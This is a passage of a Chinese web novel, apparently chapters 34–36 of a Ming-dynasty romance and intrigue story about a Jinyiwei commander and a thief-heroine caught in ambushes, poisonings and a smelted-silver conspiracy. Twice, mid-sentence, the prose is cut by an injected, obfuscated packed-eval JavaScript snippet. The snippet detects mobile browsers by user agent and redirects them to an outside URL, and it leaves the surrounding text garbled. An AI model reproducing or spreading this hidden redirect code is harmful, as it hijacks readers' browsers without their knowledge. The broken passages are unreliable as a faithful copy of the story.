程墨亭讥讽一笑:“聂大人倒是懂谋划,可那些童男童女呢?”他甩出一张名单,“朱厚照炼丹用的孩子,你敢说与你无关?” 聂未晨眸色骤冷,一把拽过梁若鸢护在身后:“程墨亭,御前司的手,伸得够长了。” 道观里的画面在脑海中浮现,梁若鸢声音微微发颤:“聂未晨,你到底……” 聂未晨转身攥住她的手,说得又急又恼:“梁若鸢,你查了那么多年,可曾想过我为何偏偏让你偷?” 梁若鸢刀尖抵在聂未晨颈侧:“聂大人,你让我偷账本,却不说银子去了兵部?” 聂未晨将她拉近:“若告诉你,你会信?三年前,你连给锦衣卫的茶都敢下毒。“ 程墨亭的弩箭再度上弦:“好一对痴男怨女。”他甩出第二封密函,“梁姑娘不妨看看,兵部的银子,最后去了哪儿?” 梁若鸢脚尖一挑,密函展开,昏灯之下字迹清晰可见:“臣章仲启密呈:三十万两已购火器,然白莲教借炼丹之名,暗中调换为劣质军械。” 聂未晨不屑,一侧唇角勾起:“夫人,打开为夫给你的东西看看。” 梁若鸢将方才取出的密函展开,几张名单密密麻麻皆是童男童女的姓名,角落里,一行笔迹歪斜的小字:“锦衣卫若查,梁氏女子可为刀。” “哪里来的?” “偷的。” 聂未晨忽然拽着她扑向船舷,两只毒箭钉入他们方才站立之处。 梁若鸢袖中甩出三枚铜钱,逼得暗处弩手后退,“看来这名单戳到某些人痛处了。” 聂未晨揽着她的腰跃上桅杆,低声道:“你信不信有人要烧码头?”他塞给她半块飞鱼符,“真账本在章仲启书房暗格里,敢不敢去偷?” 梁若鸢挑眉:“这次指挥使大人要邀我做贼?” “我只要账本。”他低头在她耳边低声说道,“至于梁小姐想顺走什么……随你。” 程墨亭在船上开了伞,伞尖射出数把钢刃,芦苇丛传来一声声惨叫:“有意思……既如此,来日便也要叨扰聂指挥使了!” 数十支火箭飞来,聂未晨抱着梁若鸢坠入江水中,入水前,她将他手臂牢牢抓住:“聂未晨,你欠我个解释。” 34. 舍不得晕 江水冰冷刺骨,聂未晨无奈笑起来:“解释什么?解释三年前为何要骗你?还是解释为何偏偏选你?……可你应都知道啊……” 水流拍在耳边,旧码头火光燃起,梁若鸢拽住他的衣襟,水中暗流将两人带向江水深处。 聂未晨一手揽住她的腰,另一手从袖中抖出三枚铜钱,在她眼前一晃。 “看好了……”他指尖一翻,铜钱化作一只纸折的燕子,飞在她鼻尖轻啄了一下,又倏地展成一张薄如蝉翼的信纸,落在水里翻卷飘远。 江浪拍在脸上,梁若鸢呛了口水,怒目瞪他:“聂未晨!这种时候你还……” 他忽然低头吻住她,抱着她沉入水底,渡给她一口气,拉她往岸边游去,浮出水面时,他从她耳后拈出一朵绢花,滴着水便就给她:“梁小姐要的解释……”那绢花在他掌心燃起一团蓝火,“就像这火,看着是假的,烧起来却是真的。” 江水翻涌,岸边芦苇丛中有火把逼近,梁若鸢拉着他正要躲藏,火光中出现的却是飞鱼服,蓝羽带着锦衣卫缇骑匆忙赶来。 聂未晨在起身的一瞬看见火光倒转,整个人往下坠,梁若鸢一把扶住他,两人几乎一起栽倒。 他身体的重量几乎全部压在她肩上,呼吸沉重,唇色泛白,她触到他背后衣袍隐约透出的热流,是伤口裂开淌的血,带着药味……他从诏狱出来就没有休息过…… 梁若鸢咬牙,根本是程墨亭的圈套! 锦衣卫四散搜查,蓝羽在看见聂未晨的瞬间惊得双眼瞠大:“大人!” 燕十从旧码头方向赶来,马蹄踏过淤泥发出沉闷的声响,他举起手里一个物件,高声道:“是玄铁令!御前司果然有问题!” 火光隐现不定,聂未晨低笑着,指尖在梁若鸢肩上轻划:“梁小姐……可要对我负责啊……” 梁若鸢抓住他的手将他又拉起了些:“聂大人不是毒入心脉还能调情吗?” 聂未晨闷哼一声,一只手环在她腰后,借力站稳,嘴唇蹭过她耳边:“不装像点……怎么骗梁小姐心疼?” 他忽然推开她,钢刀一横,格开暗处射来的冷箭,数名锦衣卫朝暗器来处搜过去,梁若鸢袖中小刀飞出,将正要逃跑的刺客钉死在树上。 两人背靠背站在芦苇丛里,聂未晨双手发颤,身上血水混着江水从衣摆滴落,他脑中昏沉,却强行撑着,担心自己一不小心将她压倒。 “还能走?”梁若鸢侧眸瞥向他。 聂未晨低笑:“梁小姐若肯扶我……我还能来一出英雄救美。” 她嗤笑一声,解下系发的缎带捆了他一只手,拽着他走向蓝羽带来的马:“英雄?待会儿别昏在我肩上就行。” 他任由她拖着,步履虚浮仍不忘调笑:“梁小姐捆人的手法……倒是比三年前熟练多了。” 夜色深沉,马背颠簸,聂未晨抱着梁若鸢,身体沉沉压在她背后,指尖仍不安分地把玩着她腰间鱼佩:“不问自取?” 梁若鸢眉一挑:“本就是我的,谁让你不拿去当了?” 他笑出声来,握住她控马的手:“梁小姐不是想知道,我心里到底装的什么吗?”他将她往怀里压下去,心跳又快又重,撞在她背后,身上血气和着药味儿把她冲得一阵头昏。 她抬头看他,皱着眉:“装的什么?谋划?算计?还是……” 他忽然低头,在她唇上轻轻一啄:“是小姐你。”他抬眼望向前路,目光有些失焦,强行凝了神。 旧码头火光渐远,聂未晨忽然勒紧缰绳,三支弩箭擦着他扬起的头发飞过。 梁若鸢腰间一紧,整个人裹进他怀里。 “抱紧。”他将她托起转身,在她耳畔低语,声音已带喘息,仍撑着笑。 马匹急转,冲进无人的窄巷,几声铜钱脆响,三枚正德通宝凌空飞旋,落入暗处后带出重物坠落的声响,蓝羽带着数名锦衣卫追入拐角巷弄。 他前襟湿透,凌乱散开,梁若鸢手指擦了一下他胸前鞭伤渗出的血:“大人还私铸吉祥钱?”她手往下探,本是检查他的伤势,却在他怀里摸到个硬物,抽出来竟是支玉簪,簪头雨燕振翅欲飞。 “诏狱里顺的。”他低头看了看,嘴唇蹭在她额前,“本想着……”他忽然扬手,夺了玉簪扔出去,簪子化作银光没入屋顶,瓦片断响中,坠下个黑衣人。 巷口灯火阑干,行人惊叫连连,五六个蒙面人纵马拦了路,聂未晨轻笑一声,从梁若鸢袖中勾走了三枚铜钱。 金光闪过,离巷口最近的三人捂着喉咙倒下,铜钱不知何时变成了火雷,蒙面人还没反应过来已炸开大片血雾。 烟雾瞬间蒙了视线,他声音虚浮带笑:“劳驾梁小姐……蒙上眼……” 她掌心触到一条冰凉的绸带,拿起一看,分明诏狱的蒙眼布,边缘还沾着干涸的血迹。 刚要问,聂未晨咳嗽起来,血沫星星点点落在她手背上。 追兵的马蹄声自巷尾逼近,带着兵器刮蹭砖墙的声音,聂未晨调转马头冲进了一条死胡同。 他在砖墙某处一按,整面墙翻转出一条密道,潮湿的甬道里,他指尖亮起幽蓝磷火,映得胸前露出的半截伤口越发狰狞。 “说到三年前……”他喘着气,牵她下马,将她手中未用的绸带扯了扔下,手中磷火捏成蝴蝶形状,托在她眼前,“扬州的暗道里……”火蝴蝶翅膀忽然碎裂,他整个人往前栽去,梁若鸢忙撑住他,黑暗里传来他精疲力竭的笑,“你说要约男人私奔……” 他呼吸越来越重,却仍撑着将磷火蝴蝶的残光托在手心里:“不过梁小姐……眼光倒是一直不错。” 梁若鸢紧紧攥着他的手臂:“也就聂大人有脸如此夸自己。” “那晚在扬州码头……你拽着个黑衣人的袖子,说要带他远走高飞。”火光忽明忽暗,映出他脸上苍白的笑,“可惜那人……转头就把你送上了船。” 梁若鸢将他一臂架在肩上:“大人这小心眼儿是连自己都不放过?” 背后伤口牵动,聂未晨闷哼一声,疼得龇牙咧嘴,却还笑得轻佻:“怎么,失望了?那黑衣人比我俊俏?” 他正说着,忽然将她往墙上一压,微弱的火光瞬间消散,钢刀横架,挡落一支射来的箭矢,“……看来御前司连这条密道也摸清了。”他喘着粗气,刀尖抵地,撑住了自己。 梁若鸢甩出一枚铜钱,射穿了身后追兵的眼睛,另一只手环着聂未晨的腰,想将他扶住,又怕掐到他渗血的伤口,力道时松时紧:“聂大人当年装哑巴骗我,现在倒有脸吃自己的醋?” 聂未晨闷笑出声,染血的唇伏在她耳边:“梁小姐到现在不也还装糊涂?”他攥住她手往自己衣襟里带,“摸到什么了?” 梁若鸢触到一道凹凸不平的疤痕,形状与她三年前用的箭镞分毫不差…… 他将她的手按在伤处:“梁小姐这一箭……可让我高烧了三天三夜……” 他手中戏法燃起,磷火微弱,忽明忽暗,映出他煞白的唇色,梁若鸢假意甩开他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065156|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “聂大人若不装哑巴,何至于挨这一箭?” 追兵脚步声越来越近,密道尽头透入火光,他故意去勾梁若鸢的耳坠,硬撑的调笑声已有些虚浮:“梁小姐现在脸红……可是心疼为夫的伤?” “闭嘴!”梁若鸢劈手打落身后三支暗箭,拉着他冲向出口。 密道尽头砖墙翻转,原先光亮出骤然闭合,真正的出口外,四名锦衣卫暗哨持弩而立,聂未晨在踏出密道时踉跄一步,整个人压在她肩上。 她咬牙将他撑住:“聂未晨!” 他故意在她颈侧闷笑:“夫人见谅……这次是真站不稳……” 陈白瓷提着灯笼匆匆迎来,见状脸色煞白,提着裙摆跑过来:“夫君!” 梁若鸢揽住聂未晨的腰,指尖故意在他伤口上一按:“聂大人,你夫人叫你呢。” 他痛得吸了口气,就势将她搂得更紧,转头对陈白瓷虚弱一笑:“夫人先回……为夫这毒,得劳烦妹妹才能解……” “毒?”梁若鸢一怔,“你是说……” 聂未晨昏沉着将她往衙门里带:“进门,不要回头。” 锦衣卫将陈白瓷拦在门外,北镇府司西厢房门一关,他把梁若鸢按在了屏风上,睫毛颤了颤,煞白的脸上还勾着笑:“梁小姐方才……摸得可还满意?” “大人这身子骨,”她双手捧起他的脸,咬牙切齿,“怕是经不起再摸一次。” 门外传来陈白瓷与锦衣卫争执的声音,聂未晨忽然低头,嘴唇几乎贴上她的脸:“夫人且看……”他带着她的手往腰间探,鱼佩不知何时到了他怀里,暗格在他指间弹开半寸,露出半张泛黄的婚书,“三年前在扬州……” 话未出口,他将她往旁边一推,梁若鸢袖中铜钱出手,窗外射来的三支弩箭凌空断开。 聂未晨顺着推力跌进岸边太师椅:“夫人的反应……总是比为夫快半拍……” 梁若鸢俯身逼近,发梢扫在他脸上:“聂未晨,你到底……” 窗外机括轻响,聂未晨眼底寒光乍现,虚软的手猛地发力,揽着她闪入暗阁,十二枚穿骨钉钉入他们方才所在的位置,院中传来燕十和蓝雨带人追剿刺客的怒喝。 暗阁里,梁若鸢的双手抵在他心口:“大人非要装晕?” “夫人明鉴……”聂未晨喘息着解开染血的外袍,心口青紫纹路依稀可见,“化骨散……”他抓着她的手按在胸前,“但看着你……舍不得晕……” 梁若鸢正要恼他,程墨亭带笑的声音从房顶飘落:“聂大人就是硬朗,毒入心脉还有力气调情?” 梁若鸢抓起案上袖箭射穿了窗纸,金属碰撞声响起,聂未晨将婚书塞进她衣襟,手指在她锁骨处抚过:“夫人……该配合为夫演出了……” 他剧烈咳嗽起来,整个人向前栽倒,梁若鸢下意识地接住他,却被他带着一起摔在地上。 他在她耳畔气若游丝:“哭两声……给他听……” 梁若鸢狠狠掐他腰间皮肉,声音却立即染上了哭腔:“聂未晨!你醒醒!” 程墨亭破窗而入,扇骨寒光阵阵,敲在手里:“梁姑娘,化骨散的解药……我可只给了一半。” 聂未晨的手几不可察地在她后背划了道弧线,梁若鸢会意,抬眸时眼中已噙满泪水:“你要什么?” “很简单。”程墨亭用扇骨挑起她下巴,“你听我差遣,我们一起报仇。” 聂未晨的指尖在她腰间写了个“允”字,梁若鸢咬唇垂眸:“……好。” 35. 真是麻烦 程墨亭撤回扇子,从袖中取出一个小瓷瓶抛给她:“每日一粒,可保他性命。” 梁若鸢接住瓷瓶,瓶中药丸哗啦响动,她低头看向聂未晨,仅留了一份余光在程墨亭身上。 程墨亭扇子敲在手心,侧目轻笑,转身要走,忽又回头道:“对了,梁姑娘,别忘了,三年前那场大火……是谁放的。” 聂未晨双眼紧闭,嘴角笑意若有似无,他靠在梁若鸢怀里,待到程墨亭翻出窗外,手指挪到她手心里勾了勾,唇角笑意渐深。 “还装?”梁若鸢低声嫌弃,指尖戳在他心口。 聂未晨缓缓睁眼,一脸狡黠:“夫人方才哭得可真叫人心疼。” “嘘。”她一把捂了他的嘴,警惕着窗外动静。 他顺势在她手心轻吻了一下,低声道:“化骨散是假的。” 梁若鸢一怔:“什么?” 聂未晨撑着坐起,从袖中摸出一枚铜钱,弹进桌上茶盏中。 梁若鸢迟疑片刻,起身去看,水中翻起蓝绿色,又迅速恢复清澈。 “白莲教的化骨散,我在查山西分坛时就尝过了,一夜杀了七个护法,烧了他们二十多卷名册。”他轻笑着,脸色发白,“不过是想看看……夫人会不会为我掉眼泪。” 梁若鸢抬手就要打他。 他将她挥起的手一把攥住,力道不大,她刚好挣不开。 “放手。”她咬牙挣扎。 “不放。”聂未晨凑近她,两人呼吸交缠,“三年前在扬州,你拽着我不放,我可没让你放手。” 梁若鸢脸一热,动作软了几分,灯火将两人的影子投在墙上,聂未晨紧紧攥着她的手按向心口,扬州一记刀伤,疤痕露出一角。 “三年前那批漕银,”他的声音低沉,带着几分伤重虚弱的沙哑,“表面上是进了兵部的库房,实则……” 梁若鸢疑惑更甚,不是说给了兵部? “实则?” “实则全熔了。”聂未晨忽然头晕目眩,一瞬天地倒悬,他松开她,自己寻了案几扶稳,哪知膝头一软,跪在地上,扫落了案上一尊狴犴铜像。 熔银乃是死罪,更何况是三十万两官银,她将他拉起,转向自己:“你说清楚。” “不是我要熔。”聂未晨的呼吸愈加粗重,双眼光华迷蒙,头靠在身后案腿上,“是圣命。” 梁若鸢浑身一僵,看着他的眼睛,等着他再说下去。 “那批漕银的一部分,底部都铸了特殊纹样,就像你在库房里找到的那锭银子,是有人特意刻上的字迹,”聂未晨翻开她的手心,用手指在她掌心画了个古怪符号,“这是当时白莲教与朝中某些人联络的记号……陛下发现后,命我暗中处理。” 瓦片轻响,聂未晨忽然将她拉进怀里,长发垂落,扫在她脸侧,两人身上湿气未消,她能闻到他衣领间残余的沉水香,混着江水味、药味和血味。 “所以……那场大火……”她声音发紧,聂未晨当时还是锦衣卫千户,一身黑衣本是要救她,误会之下却中了她一箭。 “是为了销毁证据。”聂未晨额头抵着她,似疲惫不堪,闭上了眼,“扮贼救你是真的,装哑巴接近你也是真的,带着锦衣卫从围剿中替你杀开一条血路也是真的……放火也是真的,但程墨亭应该不知道,那晚画舫上除了漕帮和白莲教的密函,还有没来得及熔化的样银。” 那一夜,漕船画舫同时起火,火光冲天,聂未晨一身黑衣抱着个黑漆匣子冲出火场,崔泓是当时的扬州知府,趁乱放箭射杀锦衣卫,跟他去的七人全部丧命…… “你和陛下合伙骗了所有人。” 聂未晨低笑,摇了摇头:“不骗过东厂的眼线,那些带暗记的银子就会成为构陷忠良的‘证据’。”他又重重咳了几声,大口喘气,“后来那些银子重铸后,便全数用于军饷……” 梁若鸢将他扶住,手掌轻拍他心口,腕上的青蚨血纹传来一阵阵刺痛,她知道他在硬撑。 “先别说了,你要休息。” 聂未晨拉住她,环在她腰后的手收紧了些,声音低似耳语,却已用尽了力气:“信我……我醒来之前,不要出去。” 她蹙眉低头,心中杂乱不安,赵世安已死,可朱厚照迟迟不肯翻案,其中必然牵涉更多。 聂未晨粗重地呼吸着,等了许久,没见她说话,捏起她的下巴,逼她抬头:“你说好。” 他眼中光点涣散,却浮出一丝寒意,语气里带着不容抗拒的意味,胸口明显的起伏。 梁若鸢愣了一下,握下他的手,轻声道:“好。” 他松开手,终于一点点昏睡过去。 窗外雨丝斜织,雨水在瓦片上蓄成涓涓细流,落地的声音清晰可闻,院中嘈杂不知何时消退,梁若鸢将他安置在榻上,指尖轻轻抚过他蹙紧的眉头。 他呼吸微弱,唇色泛青,她出门找到燕十,叫他给他换身衣裳,自己裹着湿衣,站在檐下,雨水的湿气愈发粘稠起来。 “混账……”她低声咒骂,将程墨亭给的瓷瓶小心收入袖中。 风声呜咽,似冤魂低诉,摇响了檐下铜铃,三年前的漕运案,一场大火,烧死了半个扬州漕帮,有漕工,有妇孺,官银却不知所踪,合着全是…… 她正思量着其中联系,陈白瓷端汤前来:“妹妹辛苦,吃点东西吧。” 梁若鸢接过汤碗,转身时,燕十从房中出来:“大人伤得太深,需多休息几日,我去找太医来看看。” 陈白瓷看了梁若鸢一眼,抢先谢他:“有劳燕大人。” 梁若鸢看着燕十快步离开,指尖在碗沿打转,抬眼看向陈白瓷,“夫人有心了。”她唇角微扬,眼底却无笑意。 陈白瓷低眉顺眼,柔声道:“妹妹照顾大人辛苦,该补补身子。” 梁若鸢垂眸,汤面浮着一层薄薄的油花,香气里混着一丝若有若无的苦味。 她不动声色,将碗搁在桌上,指尖轻敲碗壁,听见清脆的声响。 “夫人可知,这汤里加了什么?” 陈白瓷依旧温婉,带着笑:“不过是些滋补的药材,我昨晚送来时,锦衣卫不让我进来,还在外面与他们吵了许久,许是变了味道?妹妹若不喜欢,我再去换一碗。” 梁若鸢轻笑一声,“我师父曾与我说,通州漕帮手眼通天,有一味上好的‘断魂散’,无色无味,服下后三日毒发,死状如风寒猝死,常进献后宫?” 陈白瓷怔住一瞬,轻叹道:“妹妹在说什么,这可是要杀头的罪,桩桩件件,漕帮确实有错,但这莫须有的罪名……” 梁若鸢把碗一推,看着碗里汤汁晃在桌上:“你想杀聂未晨,就别在我面前耍这些把戏,我看起来很蠢吗?” 两人在房中对峙,门外雨声渐密,蓝羽大步跨入房中,一身飞鱼服未换,刀上沾着雨水。 “大人伤势如何?” 陈白瓷一见蓝羽,眼中闪过一丝异色,随即柔柔福身行礼:“蓝大人。” 蓝羽点头,微微一笑,神色浮起一丝柔情,转向梁若鸢:“梁小姐,大人可醒了?” 梁若鸢还未答话,陈白瓷已轻声道:“大人伤重昏迷,需静养。”她说着,目光稍稍扫过桌上那碗汤,“妹妹照顾得辛苦,我特意熬了汤来,可她似乎……不太领情。” 蓝羽眉头微皱,看了看梁若鸢,目光落在那碗汤上。 梁若鸢唇角勾了勾,指尖在碗沿一敲:“蓝大人不妨尝一尝这碗汤。” 蓝羽不明所以,正要伸手,陈白瓷忽然上前一步,状似无意的挡在他面前:“汤都凉了,我去热一热。” 她伸手去端,梁若鸢按在她腕上:“急什么?”她似笑非笑,“即是补药,凉了也无妨。” 陈白瓷脸色微变,挣扎了一下,没有挣脱,蓝羽见状,沉声道:“梁小姐这是何意?” 梁若鸢盯着她的眼睛,一字一顿:“我在教她,下毒要下得隐蔽些。“ “你胡说什么?!”陈白瓷猛地抬头,眼中含泪看着蓝羽,“大人,我不过是好心……” 蓝羽神色复杂,目光在两人之间游移。 陈白瓷趁机挣脱,退到蓝羽身侧,袖中帕子勾了指甲,掉在地上,并蒂莲是新绣的。 蓝羽弯腰拾起,脸色骤变:“这是……” “蓝大人认得?”梁若鸢挑眉一问。 陈白瓷慌忙去抢:“还我!” 蓝羽将帕子攥紧,声音有些发颤:“这帕子……是那日……” 梁若鸢冷眼看着,忽然明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077693|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么,那方帕子的绣样,分明是定情之物。 “看来蓝大人和夫人交情不浅啊。”她意味深长道。 陈白瓷泪眼婆娑:“妹妹误会了,这帕子……” “够了。”蓝羽忽然打断,将帕子塞回陈白瓷手中,转向梁若鸢,“梁姑娘,眼下大人伤势要紧,其他事容后再说。” 梁若鸢嗤笑一声:“蓝大人倒是怜香惜玉。” 雨声渐急,房内气氛凝滞,聂未晨轻咳了一声,三人同时转头看去。 “大人醒了?”蓝羽快步上前。 聂未晨缓缓睁眼,目光扫过众人,最后落在梁若鸢神色,手指虚弱地勾了勾:“过来。” 梁若鸢不动,抱臂转身:“大人还是先管管你的下属和夫人吧。” 聂未晨却笑起来,脸色苍白,眼中却是了然:“蓝羽。” “属下在。” “带陈氏去诏狱。”聂未晨轻声说着,目光落在梁若鸢的背影上,“问问她,通州漕帮的断魂散,是怎么带进北镇府司的。” 陈白瓷瞬间面无血色,扑向榻前:“大人!妾身冤枉!是这女贼污蔑我!妾身什么都不知道,什么都没做啊!” 蓝雨震惊:“大人……这……” “怎么?”聂未晨抬眼看向蓝羽,“舍不得?” 蓝羽低头不语。 他目光转向梁若鸢,轻声道:“我说过……信我。” 梁若鸢转头看他片刻,忽然往外走:“我透透气,你们锦衣卫的烂摊子,自己收拾。” “拦住她。”聂未晨冷声命令。 蓝羽迟疑一瞬,横刀挡在门前。 梁若鸢脚步一停:“怎么?大人还要把我下诏狱?” 话音未落,梁若鸢忽觉腰间一紧,聂未晨不知何时已到她身后:“诏狱哪配得上夫人?”他呼吸贴在她耳后,烧得她心上一颤。 蓝羽收刀回鞘,眼神示意,陈白瓷的啜泣声戛然而止,起身跟他离开。 整间屋子只剩下雨声,混着聂未晨虚弱的笑:“我的夫人……我亲自审。” 他指尖顺着她脊背上移,忽然重重一按,梁若鸢顿觉半边身子发麻,这分明是当年她偷袭锦衣卫的手法。 “真是麻烦……早知不救你!”她反手去抓他,他退后躲开,松了手。 窗外雨声渐大,檐下铜铃被风吹得叮当作响,他昏沉着回到榻上,闭眼躺下,似又昏睡过去,眉头紧蹙,好像梦到了什么不好的事情。 她看他半晌,不知觉地伸手去触他的眉心:“你们欠的债,倒是还要我来还。” 瓦上传来一声轻响,梁若鸢眼神一凛,闪到窗边,指尖夹着一枚铜钱,蓄势待发。 “谁?” 窗外无人应答,只有雨声不断,她正欲探查,身后传来一声低笑:“夫人这么紧张做什么?” 梁若鸢猛地回头,聂未晨不知何时已坐起身来,唇角噙着笑,眼底一片清明。 “你……装睡?”她愕然看着他。 他靠在榻上,指尖把玩着偷偷从她腰间卸下的短刀,语气戏谑:“若不装睡,怎么知道夫人还是关心我的?” 梁若鸢气得咬牙,大步走近,抬手就要打他。 他接住她挥下的手,轻轻一拽,将她身上湿衣扯下,裹进锦被里。 “别闹。”他低笑一声,呼吸拂过她的耳畔,“程墨亭的人许还在外面,我们得演下去。” 梁若鸢反应过来,他是在试探陈白瓷,也是在试探……她是否真的会守诺。 她冷哼一声,挣开他,双手抓住被子将自己裹紧:“下次再装死,我就给你喂毒药。” 聂未晨笑着,眸色深沉:“好啊,我等着。”他抓住她欲要抽离的手,声音低哑,带着失血的虚弱,手上力道却丝毫不减,“夫人既应了守着我……不如躺下一起?” 梁若鸢腕上血纹发烫,眯着眼瞧他:“大人这是要拿我当人肉盾牌?” 他将手伸进被子,指尖在她血纹处重重一按:“岂敢。” 梁若鸢浑身一颤,血纹深处似有活物蠕动:“这是?” “夫人为我换血,事到如今还想独眠?”他低头咬在她耳畔,轻声道,“程墨亭的探子,说不定在数你的心跳。” 36. 演得不错 梁若鸢镇定道:“数就数,横竖都是你害的。” 聂未晨低笑,指尖在她腕间血纹上抚过,那纹路竟似活物般微微蠕动,一股热流自手腕窜向心口,惊得她想要抽手。 “别动。”他将她牢牢按住,声音沙哑,带着不容抗拒的意味,“青蚨血引,子母相寻,你为我换血,我血气未稳,乱动,你会伤及心脉。” 梁若鸢瞪着他:“你早知道这血纹有问题?” “夫人现在才问,不嫌太迟?”聂未晨闷哼一声,唇边溢出一丝血迹,冷汗浸透了新换的中衣,方才的游刃有余全是强撑。 梁若鸢扶住他,触手一片滚烫。 聂未晨顺势倒在她肩上,呼吸烧灼,双手不知觉地发颤:“化骨散虽假……但这一身的伤倒是真的。”他说着自嘲般笑起来。 房顶瓦片声再次传来,梁若鸢眼神一凛,一把抄起落在枕边的短刀。 聂未晨瞬间将她拉住:“别出去……是调虎离山。” 三枚透骨钉破窗而入,梁若鸢以刀格挡,暗器擦过她发丝钉入屏风。 梁若鸢挣开他,扯了房中一身锦衣卫常服披在身上,银线暗绣的狴犴纹在她颈侧若隐若现,烛火下,衣袍肃杀之气反生了她几分绮丽。 “你……”聂未晨刚要开口,嘴里便塞进了一颗药丸。 “闭嘴装死。”梁若鸢低声道,顺手将随身的一方帕子拍在他脸上,“既要演,就演得像些。” 窗外人影晃动,她故意提高了声音:“燕大人!燕大人!太医来了没有啊?!大人好像快不行了!” 房门猛地撞开,燕十带着太医冲进房中:“大人!外面有刺客!”说着看见屏风上的穿骨钉,大惊,“保护大人!” 房外忽然一片纷乱,梁若鸢站到门口看了半晌,怒喝:“都是废物!北镇府司的屋顶都看不住,要你们何用?”她故意将聂未晨训人的口吻学了个十成十,“还不去追!” 燕十愣了愣,来不及细想,带着锦衣卫转身冲出府衙大门。 太医战战兢兢上前:“呃……夫人……下官这就看看大人的伤?” 梁若鸢猛地转身:“快!快看看他!” 太医刚凑近床榻,忽然回头“咦”了一声:“这、这不是……” 梁若鸢心头一紧,不是吧?妹妹照顾哥哥不是很正常? 聂未晨手里攥着湿帕子,忽然咳嗽起来,一口血吐在地上,趁太医慌乱,他指尖一弹,一枚铜钱悄无声息地击灭了烛火。 太医一惊,心中了然,脚下一动,踢翻了药箱,慌忙道:“大人恕罪!下官这就诊脉!” 梁若鸢腕间血纹灼烧刺痛,她强忍着没出声,听见聂未晨在黑暗中轻笑:“夫人这出戏……演得不错……” “闭嘴。”她低声喝他,摸到他冰凉的手,心头一颤……这混蛋的体温怎么降得这么快? 太医重新点燃蜡烛,梁若鸢闪到他身后,按住了他的后颈:“劳烦太医,睡会儿吧。” 梁若鸢拾起药箱银针,指尖寒光闪过,老太医软软倒下。 聂未晨挑眉看她:“夫人连太医院的人都敢动?” “少废话。”梁若鸢扒下太医的官服往身上套,“房顶上不是普通刺客,是冲着你来的。” 她将太医的官帽往头上一扣,故意佝偻着背,学着老太医颤巍巍的模样走到窗前,故意掐出苍老的声音嘶喊:“快来人啊!聂大人伤势恶化,急需百年人参!” 院中锦衣卫顿时一片混乱,几人急匆匆往药房跑去,梁若鸢趁机翻窗而出,借着夜色跃上房顶,她在瓦片上踩出了沉重的脚步声,引得潜伏在暗处的刺客纷纷探头。 “在那!”一个黑衣人低喝,七八道身影霎时朝她追来。 梁若鸢嘴角微扬,身形一转,轻巧翻过屋脊,她将太医官袍的一角露在屋檐外,自己屏息贴在阴影处,三个刺客飞扑而来,她忽然现身,一脚将最前面的踹下了屋顶。 “蠢货!”随后两个刺客大怒,拔刀砍来,梁若鸢一笑,不慌不忙,从袖中甩出几枚铜钱,方孔系了官服抽出的丝线,绕住了刺客的手,她轻轻一拽,两人失了平衡,在瓦上滚作一团。 燕十带着锦衣卫赶回,抬头看见“太医”站在屋顶上,一脚踩着一个刺客,另一个已用丝线捆了手脚。 月光下,“老太医”掀开官帽,露出一张明艳的脸。 “燕大人,”梁若鸢笑得狡黠,“这几个小贼就交给你们了。” 她纵身一跃,轻飘飘落回院中,刚站稳,听见聂未晨虚弱的声音从屋里传来:“夫人玩得可还尽兴?” 梁若鸢大步进屋,只见聂未晨半靠在架子上,手里把玩着从刺客身上掉出的黑铜令牌,见她进来,苍白的脸上浮起一丝笑意:“东厂的人……一个比一个脏。” “你早就知道?”梁若鸢瞪着他。 聂未晨轻咳两声,指了指她腕间已平复的血纹:“青蚨血引,子母相寻,夫人替我挡了这一劫,算上当年,便已是两条命……” 他从架上抽出一卷密函:“这是程墨亭想找的东西,现在归你了。” 梁若鸢展开一看,赫然是当年漕银案的全过程,每一页批文都盖着朱红御印,她抬头,正对上聂未晨的目光。 “夫人可信我了?”他轻声问。 梁若鸢轻弹了一下纸页,唇角勾起一抹狡黠:“程墨亭既要我当他的刀,不如将计就计。”她忽然靠近他,“大人继续装病,我去会会他。” 聂未晨眸色骤暗,一把抓住她的手腕:“夫人倒是热心。”他指腹重重碾过她腕间血纹,将她拽到榻上,“程墨亭可知道,你这把刀……已经认主了?” “小心眼儿……” 梁若鸢皱了眉,提膝抵住他伤处,却被他十指相扣按在了枕边,烛火映出他眼底暗潮翻涌:“三年前在扬州画舫……”他忽然倾身,几乎吻上她,“夫人也是这般,先给我一刀,再替我上药。”说着,他嘴角溢出一丝血来,竟真牵动了内伤。 梁若鸢吓了一跳,趁机挣开,抬手去擦他嘴边的血,他复又将她手腕扣回,舔去她指尖一抹猩红:“那名单上,梁氏女子唯你一人。”他眼底泛起寒光,“七星借命需至阴之血,夫人猜……他为何偏要找你?” 她仰起头,在他唇角一亲,看他一愣,狡黠道:“他喜欢我。” 聂未晨眼底暗火窜高,又强行压下,攥着她手腕的力道紧了又松,手指摩挲着她的腕骨。 “夫人倒是会挑时候。”他声音哑得厉害,唇边血迹在烛光下暗红妖异,“明知我现在动不得你。” 梁若鸢趁机抽回手,指尖不经意地擦过他颈项,那温度烫得她心头一跳,她推开他,连忙站起,背过身去,整理身上的官袍:“大人既然要装病,总得装得像些。”她将“装”字咬得极重,“我去会会程墨亭,你这几日就躺好了别露馅。” 